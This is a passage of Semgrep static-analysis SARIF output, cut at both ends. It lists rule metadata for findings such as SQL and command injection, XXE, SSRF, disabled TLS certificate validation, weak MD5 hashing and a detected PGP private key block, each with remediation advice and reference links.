Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-command-injection.tainted-command-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-phantom-injection.express-phantom-injection)\n - [https://phantomjs.org/page-automation.html](https://phantomjs.org/page-automation.html)\n","text":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-phantom-injection.express-phantom-injection","id":"javascript.express.security.express-phantom-injection.express-phantom-injection","name":"javascript.express.security.express-phantom-injection.express-phantom-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-phantom-injection.express-phantom-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments."},"help":{"markdown":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"TLS ceritificate validation is disabled. This could lead to a potential man-in-the-middle attack. This may be used for testing purposes but it is not considered safe in production deployments."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation","id":"cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation","name":"cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.certificate.openssl-disabled-cert-validation.openssl-disabled-cert-validation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"IPv6Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'."},"help":{"markdown":"IPv6Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv6network1)\n","text":"IPv6Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv6network1","id":"python.lang.compatibility.python37.python37-compatibility-ipv6network1","name":"python.lang.compatibility.python37.python37-compatibility-ipv6network1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-ipv6network1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for outgoing connections to ftp servers via Spring plugin ftpSessionFactory. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network."},"help":{"markdown":"Checks for outgoing connections to ftp servers via Spring plugin ftpSessionFactory. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request)\n - [https://docs.spring.io/spring-integration/api/org/springframework/integration/ftp/session/AbstractFtpSessionFactory.html#setClientMode-int-](https://docs.spring.io/spring-integration/api/org/springframework/integration/ftp/session/AbstractFtpSessionFactory.html#setClientMode-int-)\n","text":"Checks for outgoing connections to ftp servers via Spring plugin ftpSessionFactory. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request","id":"problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request","name":"problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-spring.spring-ftp-request.spring-ftp-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet","id":"java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet","name":"java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-saxtransformerfactory-xxe-servlet.tainted-saxtransformerfactory-xxe-servlet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SSL that will accept an unverified connection. This makes the connections susceptible to man-in-the-middle attacks. Use 'OpenSSL::SSL::VERIFY_PEER' instead."},"help":{"markdown":"Detected SSL that will accept an unverified connection. This makes the connections susceptible to man-in-the-middle attacks. Use 'OpenSSL::SSL::VERIFY_PEER' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Detected SSL that will accept an unverified connection. This makes the connections susceptible to man-in-the-middle attacks. Use 'OpenSSL::SSL::VERIFY_PEER' instead."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify","id":"ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify","name":"ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.ssl-mode-no-verify.ssl-mode-no-verify"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"helpUri":"https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib","id":"python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib","name":"python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.xml.tainted-fastapi-xml-xpath-stdlib.tainted-fastapi-xml-xpath-stdlib"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"IPv4Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'."},"help":{"markdown":"IPv4Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv4network1)\n","text":"IPv4Network.subnet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the subnet is in 'subnets'."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv4network1","id":"python.lang.compatibility.python37.python37-compatibility-ipv4network1","name":"python.lang.compatibility.python37.python37-compatibility-ipv4network1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-ipv4network1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Make sure that unverified user data can not reach `vm2`."},"help":{"markdown":"Make sure that unverified user data can not reach `vm2`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Make sure that unverified user data can not reach `vm2`."},"helpUri":"https://semgrep.dev/r/javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection","id":"javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection","name":"javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Should not use md5 to generate hashes. md5 is proven to be vulnerable through the use of brute-force attacks. Could also result in collisions, leading to potential collision attacks. Use SHA256 or other hashing functions instead."},"help":{"markdown":"Should not use md5 to generate hashes. md5 is proven to be vulnerable through the use of brute-force attacks. Could also result in collisions, leading to potential collision attacks. Use SHA256 or other hashing functions instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.weak-hashes-md5.weak-hashes-md5)\n - [https://www.ibm.com/support/pages/security-bulletin-vulnerability-md5-signature-and-hash-algorithm-affects-sterling-integrator-and-sterling-file-gateway-cve-2015-7575](https://www.ibm.com/support/pages/security-bulletin-vulnerability-md5-signature-and-hash-algorithm-affects-sterling-integrator-and-sterling-file-gateway-cve-2015-7575)\n","text":"Should not use md5 to generate hashes. md5 is proven to be vulnerable through the use of brute-force attacks. Could also result in collisions, leading to potential collision attacks. Use SHA256 or other hashing functions instead."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.weak-hashes-md5.weak-hashes-md5","id":"ruby.lang.security.weak-hashes-md5.weak-hashes-md5","name":"ruby.lang.security.weak-hashes-md5.weak-hashes-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.weak-hashes-md5.weak-hashes-md5"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements."},"help":{"markdown":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection","id":"python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection","name":"python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mongoose-where-express.mongoose-where-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mongoose-where-express.mongoose-where-express","id":"javascript.express.db.mongoose-where-express.mongoose-where-express","name":"javascript.express.db.mongoose-where-express.mongoose-where-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mongoose-where-express.mongoose-where-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure ImageBuilder component is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure ImageBuilder component is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure ImageBuilder component is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk","id":"terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk","name":"terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi","id":"python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi","name":"python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.express-sqlite-sqli.express-sqlite-sqli)\n - [https://www.sqlitetutorial.net/sqlite-nodejs/](https://www.sqlitetutorial.net/sqlite-nodejs/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.express-sqlite-sqli.express-sqlite-sqli","id":"javascript.express.express-sqlite-sqli.express-sqlite-sqli","name":"javascript.express.express-sqlite-sqli.express-sqlite-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.express-sqlite-sqli.express-sqlite-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of parseXml() function with the `noent` field set to `true`. This can lead to an XML External Entities (XXE) attack if untrusted data is passed into it."},"help":{"markdown":"Detected use of parseXml() function with the `noent` field set to `true`. This can lead to an XML External Entities (XXE) attack if untrusted data is passed into it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n","text":"Detected use of parseXml() function with the `noent` field set to `true`. This can lead to an XML External Entities (XXE) attack if untrusted data is passed into it."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent","id":"javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent","name":"javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Something that looks like a PGP private key block is detected. This is a potential hardcoded secret that could be leaked if this code is committed. Instead, remove this code block from the commit."},"help":{"markdown":"Something that looks like a PGP private key block is detected. This is a potential hardcoded secret that could be leaked if this code is committed. Instead, remove this code block from the commit.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Something that looks like a PGP private key block is detected. This is a potential hardcoded secret that could be leaked if this code is committed. Instead, remove this code block from the commit."},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block","id":"generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block","name":"generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The Flask secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Flask secret key can be obtained by attackers, through the HashIDs."},"help":{"markdown":"The Flask secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Flask secret key can be obtained by attackers, through the HashIDs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret)\n - [https://flask.palletsprojects.com/en/2.2.x/config/#SECRET_KEY](https://flask.palletsprojects.com/en/2.2.x/config/#SECRET_KEY)\n - [http://carnage.github.io/2015/08/cryptanalysis-of-hashids](http://carnage.github.io/2015/08/cryptanalysis-of-hashids)\n","text":"The Flask secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Flask secret key can be obtained by attackers, through the HashIDs."},"helpUri":"https://semgrep.dev/r/python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret","id":"python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret","name":"python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 – Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user data flowing into eval. This is code injection and should be 